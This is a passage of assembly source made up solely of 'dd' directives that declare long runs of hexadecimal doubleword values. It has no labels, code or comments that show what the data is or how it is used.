1FAC0161h, 203190A5h dd 93E182FFh, 0A0EEE102h, 150097EFh, 33305CC5h, 83631Dh dd 0B15ADF37h, 491B66A0h, 0A5790F00h, 48AB5272h, 0B05F00AFh dd 0E57B479Bh, 0D0CAC40h, 6274F4CCh, 799D0739h, 7258DC35h dd 1D4168FEh, 75778001h, 42D4A64Ah, 1F7300ABh, 3FFA2BBAh dd 1301BFF3h, 15A17DFFh, 0EE207FFDh, 18EF0077h, 6FCB225Bh dd 72758633h, 0B1F51900h, 0E6A6DB9Dh, 305B0EC8h, 50C0742Eh dd 0BE6B2FC6h, 0FCC0B138h, 52C0D6DEh, 262434BBh, 55C739CAh dd 8A38B500h, 9D5A74Ah, 0E5A94D00h, 19B2953h, 0C9B31745h dd 16350461h, 0DC0B8077h, 5500E751h, 2335912Bh, 72FF8559h dd 3DD30033h, 47CBE343h, 7B0375A6h, 0FB8430DAh, 0CFF52A7Eh dd 0D1AB0534h, 8389AE47h, 20EFED87h, 32ECE905h, 0E43C9801h dd 0A1733366h, 79DBA80h, 0E226C72Bh, 9F2D4F30h, 0E2D4C5B7h dd 3C24C1A0h, 3E078A66h, 0AC1B00BFh, 0BE2EF674h, 18EB923Ah dd 2090FDC6h, 10828956h, 1E2DA943h, 0A40277F5h, 26928001h dd 0C966E10h, 1B27E39h, 2DC7BD52h, 25873474h, 16D3C6DCh dd 3D000EC4h, 900DD167h, 142BDD7Ch, 8B514006h, 7812B000h dd 204315EDh, 0BB727B06h, 0CC05B7Fh, 392D8879h, 804EC42h dd 6C50B061h, 44AE2182h, 4A340017h, 4E0ADAA4h, 7200D2ACh dd 9652FB1Dh, 77FE80h, 14A6313Ch, 0B5ADA29Dh, 12903700h dd 0A748632h, 53FB016Bh, 4D69C143h, 2AAADCAFh, 3E489400h dd 21FD7F96h, 0B65700A3h, 2873ADF4h, 6E3E0F01h, 5B208088h dd 3069E235h, 3EDC00F8h, 4013AA3Ch, 7E72D5C5h, 0D9240C02h dd 48A3DD7Fh, 3AD321h dd 5AF3BBAh, 8F230F80h, 4F29C301h, 31D824F7h, 1E1B65D0h dd 0C0CDC581h, 0C4801EE3h, 0BC004E33h, 7624B908h, 3C50982Eh dd 1A859173h, 406EED8Ch, 0DC78F588h, 0A700463Bh, 0A447BC11h dd 1FD41D7h, 0DB560BE7h, 0EC20BA4Ch, 5E00EF6Dh, 1410B303h dd 1432FEB0h, 92705453h, 1CE0C20Fh, 4ED89A61h, 220EEC86h dd 36F3DF58h, 0A9B871h, 136D8FCBh, 0A874EC79h, 43987050h dd 0FB44113h, 9F9D00FAh, 0EF19C0CCh, 0F0054D0Eh, 4C2EE084h dd 0B737BEh, 0BB77092Fh, 19EAB808h, 8B368C24h, 0E00D24Eh dd 0FE5B455Eh, 40A80003h, 0B61498ADh, 6900C7A7h, 413BDDC6h dd 98FB2BB3h, 891F0041h, 0A92282FFh, 0F272B05Ch, 0F5B56C0Ch dd 31810A8h, 17A155F4h, 25281A9Ah, 0CAC02DFAh, 8747C5DDh dd 360E008Eh, 0C86244ACh, 81E3433Eh, 1BD7CD31h, 109C4A6Ah dd 82944030h, 529E24F8h, 0D2C2AE00h, 64F68C50h, 276D602Dh dd 0C66FFDA7h, 0A4FC5801h, 9D1D9426h, 770396BFh, 8ACAC52Dh dd 0B314FB00h, 0BA537A0h, 39C27F72h, 0FCEFAFE6h, 0BB5EFEA2h dd 5DC15A43h, 55D9422Bh, 31DB2240h, 2011E98h, 0CFB68EE8h dd 5C2029F2h, 0D86154F4h, 0CD11336Bh, 1D00BE46h, 37594C56h dd 28316496h, 0BC7E1Fh, 2071E075h, 0BB66099Ch, 0A7DA6C06h dd 4F3431E7h, 0EA81BA29h, 0B8FDEE87h, 8D7A90EBh, 116F0003h dd 0F75FE983h, 0D5001D9Fh, 0C820FA34h, 6C362Fh, 64162490h dd 0B8616798h, 0DB7AF509h, 255C8037h, 7F0B26Ch, 127E27DAh dd 0D0E837F8h, 0B3EE78FDh, 2AF34Dh, 0F6AB871Dh, 5AEC7Bh dd 0B193ED27h, 722FB937h, 6F953200h, 62F6E228h, 0CB8A5018h dd 3A4400D6h, 0DE7C58A4h, 0A714119Ch, 76E6EB95h, 24293B3Eh dd 33405654h, 9041682h, 0F62EAA7Ah, 51777003h, 0A003F9Eh dd 3B810170h, 593B42Ah, 0D56B1527h, 0D270001Dh, 4E96E00Ah dd 0A0FC3405h, 0F0401F0Fh, 3341EB73h, 413E637Eh, 0E6B0CCD6h dd 57714ADCh, 0EBB917C0h, 0C154BD0Fh, 5F9BE54Ch, 2BEA3E6Dh dd 4568C6D4h, 3C892793h, 3B894EDDh, 0BA4FE883h, 87E98787h dd 0E3415369h, 1347C381h, 606EB65h, 0C52D1C87h, 0F2B6850h dd 0BD802C30h, 528323F5h, 0C70F7198h, 0C1B56A0Ch, 8B545DE9h dd 0C4A834BEh, 95681B27h, 7C05410Fh, 0FF08478Fh, 835FD581h dd 590F2AB2h, 4513E927h, 0B8FBD9FCh, 0EEEDFA93h, 0A8DCCCA5h dd 0DA221664h, 51440062h, 336981D6h, 3028BF00h, 5E75AA58h dd 77E001A1h, 531C6079h, 969F41Dh, 7DB47C0Fh, 0A47160D0h dd 0D96425h, 5130F35h, 53402021h, 655A7B00h, 38C32B79h dd 4EDE00DAh, 2CA4D43h, 45E2E246h, 0C9567100h, 403B75F3h dd 0B730023h, 8B6CD601h, 640095F1h, 3216F208h, 0EACE3968h dd 0AE130062h, 58B9475h, 4202376Ch, 8DF37F24h, 1F3360BCh dd 5465001Dh, 0F10390F4h, 58017844h, 5EEA472Bh, 0A96EC18Bh dd 0E67B0078h, 9C41238Ah, 253500B9h, 74E5A2B3h, 3A53EE7Ch dd 661670E7h, 8BEBFA8Bh, 0C01B88BBh, 0A2EC6545h, 27C9D800h dd 5D8589F4h, 7E9312Ah, 0E48DFE58h, 12D00861h, 8C1AB832h dd 0CDE57500h, 0E6A1F64h, 36BE0790h, 0FE3B80DBh, 90CBEBF6h dd 85C01888h, 0C8E3D5Fh, 0D1BD8B26h, 0BE1666A1h, 0D0BF8297h dd 4C6FE6Ah, 0DCD3B300h, 5E258EBAh, 9874D129h, 0D20036BCh dd 134FA557h, 0D60A6F2h, 2C59D01h, 0A9D76080h, 611A3A0Bh dd 6F657F6Ah, 0ED601DE4h, 710180FCh, 0C69C38CDh, 0C343BE1Ah dd 9580C47Fh, 61A19589h, 0C083722Fh, 0DDA97B05h, 5E3ED0ACh dd 842E07EEh, 52115095h, 25B8880Fh, 60310076h, 28B1F88Bh dd 8FA25A61h, 54983442h, 0F7908D8h, 0A3D57900h, 48402EA8h dd 77B90CBEh, 0B9A58E7h, 229DB512h, 572E2124h, 84001723h dd 0BFF5E6BCh, 9DF4017Ah, 0B995FF60h, 0DF58AD0Fh, 3C6D0C20h dd 3000F84Eh, 0CEBABF66h, 129D8D5Fh, 3BECD72Ch, 1D2362h dd 2CA4533Ah, 6F021199h, 0FF329110h, 445F47D3h, 0C1B0671Dh dd 7819DF63h, 0A5D90020h, 12DBBE91h, 0FF141FA4h, 226C9D85h dd 0AC0C060Bh, 7AD0A030h, 711E4200h, 5EF28B83h, 81935E9h dd 4CF6BA26h, 801A8924h, 0F0B86660h, 553FB55Fh, 209B4861h dd 0A8D0722Ah, 946386F8h, 836B2853h, 8B203BA9h, 0C0C8D19h dd 0C7B22051h, 815F480Dh, 47C22AE3h, 601764A7h, 0C79A75Dh dd 0F1BD8906h, 0DB0D0B6Fh, 2BB1850Fh, 0ACD0ED7Ah, 72C800ABh dd 5C18F9AEh, 7A28BD83h, 0E8C68536h, 0B72F4C84h, 2CD65674h dd 68AC0CFh, 0B612359Dh, 0FEB78DE4h, 1B467636h, 11D44B00h dd 0B056699Ch, 85C7DC14h, 0A4524A59h, 6F57506h, 0FF555B71h dd 1423A13Bh, 32BE6000h, 0A468308Dh, 517CB736h, 1D467Ch dd 0AD96F7BBh, 0E7C550Bh, 0BE4DEEF9h, 54DB9367h, 81248C8Dh dd 0FEFF231Ch, 0BD01D9B9h, 2DA85BCCh, 0A0DF8896h, 0DAA768CAh dd 8604012Bh, 8C66B82Ah, 25FD6EDBh, 0CC289FACh, 1941B92Bh dd 14F0A87Ah, 0FC927E84h, 0A7008C1Ch, 9FAD22A8h, 50CE30Ah dd 0A9B5239Bh, 0C0A5EF1Eh, 0DD608552h, 5A1E3EFAh, 25C0347h dd 0FA95C40h, 5B7321BFh, 0C440EB01h, 0CCBD3324h, 9B8500E6h dd 92A6B875h, 8F013780h, 61F85A5Bh, 2A40E990h, 368798h dd 0E3DD14DAh, 0EC30C8C9h, 50A4BF19h, 0F0100A28h, 8101F75Ch dd 3F7DA711h, 0B0FDDBB1h, 1670F9BAh, 0EF70E6FCh, 1688B4CBh dd 6ED4BC0h, 0C67148E4h, 8C18E8h, 76E3D48Dh, 51B58BF6h dd 0F9E0550h, 0D1D8B62Bh, 1F55778h, 939EF62Dh, 6083E061h dd 0F977D883h, 2D06BA30h, 3F5B57BFh, 0C304631Bh, 0D079B529h dd 4E8C1A8h, 5D7896BBh, 826D00A6h, 0FC468A1Bh, 0E25BF766h dd 895940BBh, 877578EBh, 8B004D71h, 0F7F6C7Ah, 14059B35h dd 7C2B04CDh, 8C17BCh, 2C4DD4D7h, 93F6B70Fh, 0B9CFBF01h dd 0E95074E7h, 6D023508h, 81E1E08Fh, 44776793h, 89D16016h dd 0F7FCA6h, 78832557h, 0B5FFF18Bh, 0F6BD4AB2h, 254CDC66h dd 81D1092h, 9A31A650h, 78239B38h, 8400FE54h, 0E4793565h dd 7BC78166h, 5E8B7C60h, 5F6EAEB0h, 2C8AD903h, 0AE10E3C7h dd 0A1511625h, 91F0E466h, 7800B684h, 0BEA40A16h, 4813D8B3h dd 0A54CAA2Ch, 90C0622h, 6E151D95h, 2C617E3Ch, 872FCD83h dd 99E5BD29h, 0EE819E18h, 679C8509h, 827B1A69h, 0A0AC9B2h dd 0DC712E7Ch, 0BAB23Fh, 146BE337h, 927DAFCCh, 3540E59Bh dd 1489465Ah, 0BCB59C1Dh, 0FF5DEB04h, 0BD28C01Eh, 84D51871h dd 6BEF5B90h, 0F9161330h, 0C15F04FAh, 0F418066h, 75A1028Ch dd 10A621F7h, 39621749h, 28DA1214h, 6115459Eh, 95ED40ACh dd 98D813BDh, 55880F3Ah, 1E40B01Dh, 5868F8D6h, 596B3B9h dd 0C1FFD4A5h, 11AAD24h, 2273C183h, 8E3015B2h, 0D93B2E9Ah dd 20E11CE4h, 15448D87h, 60034E61h, 6399D99Eh, 531815D1h dd 0C1F6C916h, 9F93984Bh, 801A9155h, 0A99914A6h, 587302A2h dd 0A428BF66h, 0BE0294CCh, 5E1BE429h, 2C53FD5Bh, 0E286B858h dd 54FF09B4h, 81825A9Bh, 0EC682BFBh, 3D802D4Dh, 4D084A34h dd 8D432895h, 11E9FE2Ch, 0DEBC6F29h, 54526302h, 60C08BFCh dd 83259D0Ch, 0D84AFFC7h, 144674C5h, 0B5313A02h, 907206FDh dd 0F9B8FCE8h, 36C115Dh, 53D1D5B3h, 3D7A53F8h, 433019A2h dd 528B0EE5h, 52727EACh, 12318E88h, 0EC8F2B85h, 0CCC01788h dd 2813710Eh, 902F85FFh, 0C352008h, 99482299h, 1C465Ch dd 8314C068h, 2393B0Ch dd 85892A19h, 2ACF171Dh, 0C5601D44h, 0FB0035EFh, 43DC0ABEh dd 5EF9443Ch, 0FD40EB90h, 873B824Dh, 0C5050363h, 918EAE41h dd 0AA145E13h, 210E31Fh, 6E375F25h, 31E40E03h, 1CDABDh dd 0C6D9EF81h, 0F179B126h, 7857C43Eh, 6675EE53h, 2C667112h dd 5E5BBC03h, 50B99529h, 0BDFF832Bh, 0D6DED4h, 0C68768D3h dd 53601103h, 0C1852313h, 509C8854h, 618126C1h, 47AC733h dd 0D0E18167h, 7DA1C28Dh, 7B5F9849h, 0E5ACC3E9h, 5F627500h dd 0F37BF6F0h, 0BED30291h, 63D91E5Bh, 36851FDh, 10818D29h dd 189C6E4Ch, 950D0975h, 0F9ABCB9Dh, 788039B7h, 73B93292h dd 0E9CE0799h, 19FFF814h, 30C5F36Dh, 562DCCCh, 7D782333h dd 0E4F2BF1Ah, 6FC18B17h, 0E2BA0264h, 6064E10Dh, 9EB1202Ch dd 2C3F0933h, 1104C8E4h, 577A7C80h, 14DF1E80h, 615F2DD5h dd 8D896198h, 5EBFCD5Eh, 2D2F1037h, 0DF3FBAF9h, 19F9A5D1h dd 40356920h, 0F4B09003h, 0E7BA5074h, 58121435h, 0CDC0219Bh dd 4D7DBD2Ah, 0A7FE3B40h, 671D4426h, 32A409B0h, 4E85016Bh dd 8B5F4867h, 0A28140F3h, 74AED42h, 190FEC6Eh, 0A2D9B480h dd 0D9E821FAh, 0FC1F6D1Bh, 8A410209h, 6CE185A4h, 60F10060h dd 1FA15EC4h, 0C0BF851Eh, 85E90461h, 7F900B31h, 0B4FF068h dd 0BCC2AF03h, 91FA7384h, 2AD8D510h, 3012E88Eh, 5FB28C3Eh dd 4FB65750h, 0FF9E8511h, 0D6585A1Ch, 0D2D0FA90h, 9FCBB9h dd 0F84F8498h, 5935453Bh, 2F20D717h, 0DF843885h, 0D8BA771Ah dd 45DCB79Fh, 1005E9A8h, 0C5C671EBh, 345A34B3h, 0CEF225h dd 0F1B4B07Eh, 738FEE8Bh, 0EC5F285Bh, 2FE52086h, 0D35AFFF0h dd 9E05936Eh, 251AE002h, 5E12A37Fh, 3426BFBh, 3CCE0B50h dd 9AEEE0A1h, 0D6E91685h, 1023CB07h, 0B44842ACh, 5A166110h dd 890C213Ch, 4500D7E8h, 37E01506h, 5F6E66Fh, 91B856A1h dd 2CDDE02Ah, 9D768182h, 0FF2D2019h, 0C6BA60E8h, 0ECEA4CB4h dd 0CBE002D6h, 0A1B185F4h, 7D4548DAh, 3209B688h, 0ADBF831Dh dd 172C9140h, 16FF517h, 6052FB18h, 3495212Bh, 952E01A4h dd 618BC02Dh, 24C8885Eh, 7AFB5E3Fh, 9FD507DFh, 0F3728A22h dd 2B54E1BDh, 0F25BF5C2h, 72BF0278h, 1C4329EBh, 8D443853h dd 3699DBA6h, 3BC2119Dh, 0D1BAEAAAh, 0F78B8BF5h, 3967CA42h dd 7E611544h, 0F96330A9h, 3E46C7B4h, 0DC23B423h, 0F1CCD604h dd 29B3A553h, 9110194Ch, 60501335h, 30643E1Eh, 20123116h dd 0E3613A0Bh, 28106E86h, 950F21D2h, 9DB00221h, 841991BBh dd 25873FF3h, 0C0528442h, 8030698Fh, 0B60BBF5Fh, 5BDFD6h dd 0BB84C661h, 0A97053E6h, 0C93019A2h, 0DEE04Ch, 0E4F8A36Ch dd 0D5B52B71h, 523174Fh, 1D29C90Bh, 51012A7h, 3D21BD2Bh dd 0EE8E3001h, 0E59C1842h, 4602AF26h, 7040393Ah, 3D8E80D3h dd 0EBC08224h, 969C0B15h, 54F78182h, 93D06156h, 54F8F242h dd 0F30C3249h, 5E53BD82h, 86B69304h, 0F5B5CE2h, 0F29F57AFh dd 5A0EB81h, 0DBF42EA4h, 0D4BF0432h, 0B61D3070h, 3015B20Dh dd 109D734h, 1211999Dh, 0EEFD120h, 0A0038E1h, 253B18EEh dd 2D533900h, 2945DCB4h, 0B715B8Dh, 25475F7Dh, 0AE601664h dd 0F294F6BFh, 96A7109h, 7B73C6B0h, 0DC4E9EE4h, 0AB8F6324h dd 281FAD08h, 0C792D06h, 2654618h, 15F15599h, 77128218h dd 50258B0Fh, 44843B84h, 21C13704h, 40416A8Dh, 6A273501h dd 426BFF5Eh, 0B2A57007h, 5C375B8Bh, 9B98794h, 2CFE82F6h dd 5A59B09Eh, 0EE71651Dh, 0B6F001F3h, 3002BB0Eh, 8CCCA319h dd 9C1607Ch, 14354B95h, 0BA5FBE5Ah, 0EB2E806Bh, 7A5815BFh dd 91B4FEACh, 532E6A91h, 0CDC263A8h, 234F35B0h, 0F83AB400h dd 67BF7DFCh, 33221C51h, 0A4096D5Fh, 7B80F2BDh, 728D42DCh dd 0BD0309A1h, 7B7A0F25h, 0C410F75Ah, 8DD70BCCh, 13AC4978h dd 459FE868h, 0C160AB58h, 2A958Bh, 0A909858Bh, 0A26861AEh dd 41314550h, 888B3C08h, 7D8BA8DEh, 0E8FFBEE5h, 18465C6Bh dd 1F5A303h, 0C817EA55h, 9ABE5BF1h, 85B1C0D5h, 1BDF06Ch dd 0DBCE81FBh, 38147A8Ah, 53E16AFAh, 91FED08h, 2437C32Bh dd 0BF0F3885h, 5AED83B0h, 49B5282Eh, 8122108Bh, 4E6B7221h dd 71EDDD17h, 31BF9F60h, 1780756Ah, 0C5C07A27h, 31F4BF7Bh dd 0EB0400BEh, 6A1759F5h, 0B70056B6h, 0A9D7A8E2h, 17B57BE0h dd 0EBC08B81h, 88F392D0h, 5C950513h, 0A68CE5AAh, 0E28D42DEh dd 80843015h, 0BCFA8B2Eh, 3D9C4825h, 74B42B5Fh, 322C5829h dd 0D6B5DBA1h, 947909h, 6E5E50E5h, 55068B76h, 216F28FCh dd 0B274BFE0h, 859500D6h, 0AA89CD48h, 0F45BCAA0h, 8A12083Ch dd 0C298482h, 0F9EFE629h, 5F0A25DDh, 14D425EEh, 0DF16B351h dd 54C4663Dh, 3E0F0D20h, 0B5C88990h, 5585849Dh, 713F241Ch dd 0B958DB00h, 92025079h, 0BF68A462h, 444847F8h, 77C46017h dd 20E74B88h, 97EB5E9Bh, 0D7E96D00h, 6508FEF0h, 0BA386E71h dd 0A4331BA8h, 5BA2CC95h, 52F6110h, 0F05BF66h, 7FE047E6h dd 0FCE2B3E4h, 3185091Ah, 0C031ED61h, 28A61EF1h, 0FCC4E918h dd 991359A4h, 1814F171h, 0B5290952h, 32E82095h, 0F8648BF0h dd 5DF9BD5Ah, 5ED68104h, 0E0A3B638h, 7C26C8h, 5C64ACA0h dd 3BE662Bh, 5DAE845Eh, 81858080h, 3414B397h, 6704EA00h dd 2AC73D6Eh, 0AA8001EFh, 0E9F85961h, 49E16856h, 0E6DCBCE8h dd 0E32C0566h, 0F039B533h, 0A9EC0B45h, 600C0D66h, 160520FAh dd 0B51CB94Bh, 21DE84BDh, 95A81D8Dh, 0A1F08546h, 84042DE3h dd 654EF3C2h, 2221C781h, 0D92C5E06h, 0F6571Dh, 9A7E50C5h dd 45958B35h, 7924315Fh, 0CB295D4Eh, 8379C0D5h, 0FB015FE1h dd 41E73F33h, 597D452Eh, 980546B8h, 34419D8Bh, 2E063432h dd 930DD7FFh, 8DF26044h, 535A72DAh, 815FFF00h, 29E2D4C8h dd 0AAC66E9Ch, 9B0F52D3h, 6011407Dh, 71B5011Ah, 5AAE620Fh dd 70614C3Bh, 10971622h, 0FE7E00h, 0D0BEA18Eh, 0EBB58580h dd 2544A43Bh, 0C47F70E9h, 9E1E5D60h, 0AAF9CAB1h, 290A54A2h dd 8D35499Dh, 0FC337FE8h, 0A5C793F9h, 85313E47h, 1A320C15h dd 0B49A2917h, 2007050h, 0F4C5F662h, 7B9D5AFh, 9CDAEE5Ch dd 166965E8h, 8A81DBB8h, 5D09EB96h, 0FB8F3A26h, 0A3CF703Fh dd 0C679EA24h, 0E82FBD0Ah, 0C50DE146h, 40D996Ch, 0E719110Ch dd 6A8BA108h, 418D1D20h, 49CB142Ah, 4790E837h, 121F9DECh dd 31007F36h, 0D411FC6Ch, 4B673F57h, 79AA4804h, 0F1B28123h dd 455B0201h, 0BD298771h, 10CB3D8Dh, 0B7DA815Fh, 1ECAE015h dd 0AE0B221Bh, 0E3810A05h, 28D980FFh, 0EE52968h, 0CBED6BBDh dd 0F96A1040h, 0D4B14F9Ch, 65B01CC5h, 7F60C54Fh, 0FE71ECC2h dd 58C70DCBh, 3D561D85h, 0AF8B3C68h, 3724F5F1h, 1C42D45Dh dd 526D648Eh, 89C7580Eh, 826C0B16h, 17A15900h, 520D2D82h dd 811900AEh, 0BA66B4A3h, 5B6D8EEEh, 0B5377A56h, 0D648E8B0h dd 5AF9500Ah, 5FAF4DFCh, 6DFD558Bh, 0C4FA60C3h, 8858FFB8h dd 40EFCF7Fh, 0FB28A1Fh, 7E7800CEh, 0CF8663F2h, 0E41F6218h dd 0DBA45D74h, 0A1DCCF2Eh, 46D4B575h, 3EF317B2h, 0C4D7C1E3h dd 2985CDCFh, 0BC98D124h, 74DB00D6h, 89057ADAh, 0CFB6559Dh dd 918D0302h, 9CB72935h, 0AD871580h, 2E3528B2h, 85A06CEh dd 0EB191E0Dh, 84DB9D58h, 5FEC25FDh, 3DD8F61Fh, 6E11FC4h dd 2ECCBC81h, 0ACF7E97Fh, 0A0F90966h, 0FDA44B03h, 78F80B34h dd 6075444Ch, 6477D4BDh dd 16A4535h, 83FE6FBh, 9EEC9FDBh, 0B0E51589h, 0C106954Ch dd 3C680CEFh, 0B4200437h, 0D2570223h, 28DFF00Dh, 0E41A95FFh dd 0F87EE132h, 30DFA0ABh, 11A940C5h, 853F0B53h, 0E1E1B2Dh dd 50288325h, 57C1A6Ah, 12006E56h, 0E0C1C361h, 4FEB0600h dd 0FA251C8Fh, 0A10803ABh, 0A4ACDAC6h, 5CD2D4D0h, 0CEE0E4E2h dd 0F531340Eh, 0B327A11Bh, 5BE4D129h, 2AC70FDDh, 9E9F17E6h dd 0DB6787DFh, 7C010AA6h, 0DDB48700h, 0D9202352h, 0E912E19Eh dd 0B79D0FE4h, 6E923DC6h, 31DDA037h, 2F8A0E40h, 39D561C7h dd 7B6B9DA0h, 22950772h, 91B07F18h, 780FF52Bh, 26DCBF8Ah dd 0F413F9C0h, 0DD7D00CDh, 60677612h, 703D746h, 50A85651h dd 85B88B59h, 89141D08h, 1F05A92Fh, 2ECF805Fh, 0AA007903h dd 40F03970h, 0A402FAh, 7CBA753Dh, 5A649792h, 0B704C22Dh dd 80F59C39h, 8D895351h, 94A32B81h, 5F019C5Bh, 0DEEF8060h dd 0EC7FBDFDh, 0AE613EB0h, 0A0C07EC0h, 0EAD44Eh, 0CD1565A4h dd 1B767E14h, 31281E0Bh, 1945F59Dh, 0D0321344h, 0A29D8D20h dd 0F7F4BDD5h, 211411D1h, 19D4EF1Ah, 44010A60h, 9095C022h dd 0DFE0DFh, 0D45533BCh, 0C25428CBh, 0DD2FA300h, 693759Ch dd 9701B849h, 0C7851EA9h, 505CE9BDh, 4F3E71C3h, 0FC9BDAEDh dd 0C8E0A080h, 0E95EDA91h, 5BBF9240h, 0F6EABEh, 0D60FCAFDh dd 2CB43DDDh, 9850C92Eh, 35EFF60h, 35E400A9h, 0D2E9AEE2h dd 78731020h, 1E974600h, 7EB6C40Ch, 2F3BE5Ah, 0DD58529h dd 3F2E5E84h, 0C80B1523h, 38776406h, 0E4009226h, 6B0A9712h dd 20EF5B7Dh, 0F5249C8h, 0A09D389Eh, 0B6501A20h, 0AA09994Fh dd 6190C952h, 0A317E120h, 0F64CD54Ah, 260F858Bh, 1A86CFB7h dd 4599BF59h, 0B791FC1Bh, 15008DE2h, 62D885A5h, 0C112224h dd 0C933F042h, 0CABE0849h, 659FB0Bh, 0C8979115h, 21A66D58h dd 3B502190h, 232E4CDDh, 25BBD0C8h, 583E298Eh, 64F1916Eh dd 0E0CFF647h, 35968A5h, 9F32B04Ch, 0BAC066B9h, 930889AAh dd 9C048C0Fh, 14DA6451h, 1805A781h, 0FE4110FDh, 104E5F2h dd 53310DBDh, 16E63235h, 7354C1E4h, 25FF6129h, 0F2216BADh dd 0DDC06133h, 3A1300B7h, 7C54424Dh, 0B8A0EFCEh, 6CB35ACBh dd 81C73727h, 0D623D188h, 71B5C489h, 93994D98h, 0A83ED5A1h dd 24F4DDD4h, 0F8DE4486h, 0D6522690h, 0D0F6D2D5h, 0CAE0DDA3h dd 3C14E483h, 85CDE832h, 1187B5E2h, 8B50CE10h, 3B6491C8h dd 0E2BA5280h, 0F7D6556h, 51123163h, 6E0C785Ah, 591E438Fh dd 2E8B0458h, 9ECBC414h, 0E46DFA1Fh, 6F840085h, 0CC5B254Dh dd 64011AC4h, 791659B2h, 94CEDE80h, 0D4ADBEFCh, 0FF87F700h dd 21850160h, 8507B203h, 0D6DB2CE8h, 3E3FC83Ah, 0CD5AE2F8h dd 95E7981Dh, 0CE22E1F9h, 34DE542h, 91EB0129h, 958B0B92h dd 0CE8A6229h, 4D9B0B3h, 45F7EB68h, 0BDC82B1h, 828E5829h dd 54B40ABCh, 2061C609h, 0D9754EA7h, 0A0FC5622h, 8D2C3558h dd 81352C77h, 0E68061C2h, 2F875912h, 8626C620h, 8C100D54h dd 6BDAC8C0h, 401F3A6Fh, 0A131C0ACh, 0B8EE6A7Fh, 81E6D5B2h dd 1054EA24h, 948E8514h, 6C304B3Eh, 0ACAA38E7h, 306C628Ch dd 5D0A1EADh, 5708360h, 5B504FDBh, 0BFB8918Dh, 0C2F50D63h dd 0F8906D5Ch, 48CE4179h, 7FA0E850h, 1300BC3Fh, 4A9D54A9h dd 0EA76B860h, 8A2E0215h, 585F61C3h, 1EDCDF7Ch, 925A0B5Ch dd 0F9DC8C07h, 4047DEBFh, 8227C1BAh, 2FBC2951h, 0C9A0D81Dh dd 0F7A75DFAh, 35496209h, 0E4F37911h, 0FB28AF22h, 3E252908h dd 3B908327h, 0C481185h, 7EC2A43Bh, 966A8881h, 0C1B2CE14h dd 8C1529E9h, 0A98B9F0h, 3AB250ABh, 98E449B5h, 1E172D00h dd 41A4968Ch, 9DA1011Fh, 0A5D573B5h, 70946C45h, 118B905h dd 0C1214F9Bh, 1C30F78Ah, 9E8FACC8h, 0FF0BDC1Bh, 0D9BE13BBh dd 3F7800A9h, 3057F702h, 0D940250Ah, 0DECABC26h, 100EED09h dd 7CC3BFE6h, 0BC185031h, 264A8B79h, 0C16A6BD2h, 0FC7F80F0h dd 0CF98440h, 10C14D9Dh, 99ED9F55h, 67F15800h, 0C9EEBDF5h dd 0B350ED26h, 0DBE8EFCAh, 61492420h, 0B0D7265Ch, 0D3679D48h dd 0C0F3ED99h, 0A80738EEh, 9048821Eh, 0EF888112h, 0E9FE0033h dd 0A5365842h, 3D010438h, 26CE9515h, 0F9D78EEAh, 0B320432Fh dd 5A1D004Dh, 8502E6BAh, 260A6870h, 6BAD465Ch, 0DB9CBECh dd 59DA3FDEh, 0DC602514h, 38BEBAA3h, 97234108h, 16A8A28Ah dd 985AB18Dh, 0E1806DF0h, 70F5F915h, 1B5A01DEh, 0D907677Ah dd 0C057AB6Dh, 82F49272h, 22179C48h, 8E879D69h, 996197C7h dd 5082E2D9h, 5009BD23h, 0CC596B23h, 7AC0594Dh, 24950984h dd 523D2691h, 0CF9BEA58h, 0CB8A5004h, 12C3889h, 0E32D009Dh dd 636C9E99h, 38961800h, 5BD92F9Fh, 5AFF1340h, 4245C78Bh dd 9B6661D8h, 3871144h, 8002FEAAh, 7FA0F7C7h, 0C0333C5h dd 0CABA60CBh, 0FB3C26E6h, 254C249Fh, 0A45505EAh, 3CD88F82h dd 4A7692D7h, 81E2D1h, 81AFF580h, 793788DAh, 0B6A241Ah dd 5C13110Fh, 34C580F0h, 4396E5h, 573F333Eh, 5F5672A8h dd 36FB20E3h, 0F90C8A8h, 0B820862Dh, 8191Eh, 1361A4B6h dd 89EDB43Ch, 0E87C8A12h, 9AA0E327h, 7384D123h, 5A016D76h dd 1C8523CDh, 0A080EF93h, 2298ED1Dh, 40C757Dh, 0CE3219B1h dd 4AB2EC85h, 0F7FAC8AAh, 0EE372900h, 0D2C16E83h, 2E19588h dd 396E6A90h, 3726E500h, 5B71C665h, 0C1DCB827h, 2A070C09h dd 0B0601778h, 0E7013295h, 0D41592ADh, 9221F20Bh, 25315074h dd 0C8A2C585h, 0D31A40B5h, 0E4115072h, 8091D09h, 2FD39852h dd 42E8007Fh, 0EB669821h, 0ACA205FFh, 77DAFDh, 8E1285F7h dd 243489CDh, 503A18B0h, 927C480Fh, 0ABB8471Ah, 80F2371Bh dd 8FBB1B19h, 0D2B8516Eh, 5F9952BEh, 7A2A245Bh, 0FF700C1h dd 80FD7E3Dh, 0BB717D1h, 95C9FAC0h, 41B195E0h, 6CEC826h dd 0A9D827B7h, 9C0D2C08h, 27B593D7h, 2046F336h, 1A09261Ah dd 1ADBFF9Fh, 5962D70h, 90704B3Bh, 4EBFA857h, 10DE2954h dd 0CC5B19C1h, 0A800C6A1h, 0CF4256DBh, 33E68A4h, 6DFD6B8Ah dd 0AF88B587h, 0BA0E505Ah, 2B32D183h, 70485390h, 6002BBDAh dd 0BD31C18Bh, 0A0FC7481h, 2DD399CCh, 0B70381B7h, 0F0B0EED2h dd 2E20D48Ch, 10BF8982h, 7ED34523h, 2C56EBB9h, 0DDD72CF0h dd 667D3413h, 0DE1C6500h, 9405DCE9h, 67C7807Ah, 80D68BF4h dd 66207E38h, 9823CB76h, 985B9880h, 22605880h, 542A5110h dd 0CF508A00h, 114AC5D8h, 89651A48h, 0A504D680h, 81A8ECA0h dd 403B25CFh, 26556E6Bh, 1228D1B3h, 0FCB9661Eh, 6071F2E8h dd 0E95E5116h, 0C913C8h, 74FCA19Ch, 3A7344B5h, 0EBF52D00h dd 0A5486D64h, 18721C5Ah, 46905461h, 8C1AB8h, 0CBBD8058h dd 392E1F3h, 1396EDECh, 53C42Dh, 3B9DF7E8h, 0EA43E2C8h dd 2FB79901h, 2EDCF01h, 7D399821h, 8E1C6EB8h, 70C29F51h dd 40743D1Dh, 80354D1Dh, 0DF0BBF50h, 49415C29h, 23D98D21h dd 0C05C5F09h, 27B8DC59h, 0CFBF0B7Dh, 6418923Bh, 690167E5h dd 88AE33FFh, 0A0E456C4h, 2012907Fh, 5F771BA9h, 0A19BD85Eh dd 311BDF80h, 61023C0Eh, 87E77C3Bh, 0C50AD460h, 587AF985h dd 